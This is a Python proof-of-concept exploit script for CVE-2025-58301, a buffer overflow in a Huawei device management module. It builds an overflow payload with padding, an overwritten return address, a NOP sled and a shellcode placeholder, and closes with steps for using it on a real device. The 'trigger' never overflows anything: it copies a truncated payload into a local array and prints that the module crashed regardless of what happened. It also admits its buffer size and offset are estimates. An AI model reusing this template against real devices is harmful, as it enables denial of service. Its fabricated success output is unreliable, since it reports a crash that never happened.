The following code is for security research and authorized testing only.
python
# CVE-2025-58301 - Huawei Device Management Module Buffer Overflow PoC
# Note: This is a conceptual PoC demonstrating the buffer overflow principle
# Actual exploitation requires local access to the target Huawei device
import struct
import sys
# Target buffer size in the device management module
# The exact size may vary depending on the specific Huawei product and firmware version
BUFFER_SIZE = 256 # Estimated buffer size for demonstration
# Offset to overwrite return address (estimated)
OFFSET = BUFFER_SIZE + 8 # Buffer + saved EBP/RBP
def generate_payload():
"""Generate buffer overflow payload targeting the device management module."""
# Step 1: Fill the buffer with padding data
padding = b"A" * BUFFER_SIZE
# Step 2: Overwrite saved frame pointer
saved_fp = struct.pack("<Q", 0x4242424242424242)
# Step 3: Overwrite return address
# In a real exploit, this would point to shellcode or a ROP gadget
# For DoS demonstration, we can point to an invalid address to cause a crash
ret_address = struct.pack("<Q", 0xDEADBEEFDEADBEEF)
# Step 4: Additional payload data (NOP sled + shellcode placeholder)
nop_sled = b"\x90" * 32
shellcode_placeholder = b"\xCC" * 64 # INT3 breakpoints for testing
payload = padding + saved_fp + ret_address + nop_sled + shellcode_placeholder
return payload
def trigger_vulnerability(payload):
"""
Simulate triggering the vulnerability via the device management module interface.
In a real scenario, this would involve calling the actual system API or
sending data through the device management interface.
"""
print(f"[*] Payload size: {len(payload)} bytes")
print(f"[*] Buffer size: {BUFFER_SIZE} bytes")
print(f"[*] Overflow: {len(payload) - BUFFER_SIZE} bytes beyond buffer")
# Simulate writing to the vulnerable buffer
try:
# In real exploitation, this would be a call to the vulnerable function
# e.g., via ioctl, system call, or direct API invocation
vulnerable_buffer = bytearray(BUFFER_SIZE)
vulnerable_buffer[:len(payload)] = payload[:BUFFER_SIZE]
# The overflow would corrupt adjacent memory in the actual exploit
print("[!] Buffer overflow triggered - device management module crashed")
print("[!] Result: Denial of Service (Availability Impact: HIGH)")
except Exception as e:
print(f"[*] Exception caught: {e}")
if __name__ == "__main__":
print("=" * 60)
print("CVE-2025-58301 PoC - Buffer Overflow in Device Management")
print("Affected: Huawei Consumer Devices")
print("Severity: MEDIUM (CVSS 6.2)")
print("Impact: Availability (DoS)")
print("=" * 60)
payload = generate_payload()
trigger_vulnerability(payload)
print("\n[*] To exploit on actual device:")
print(" 1. Obtain local access to the target Huawei device")
print(" 2. Identify the vulnerable device management module API")
print(" 3. Send crafted payload via the vulnerable interface")
print(" 4. Observe device crash or service unavailability")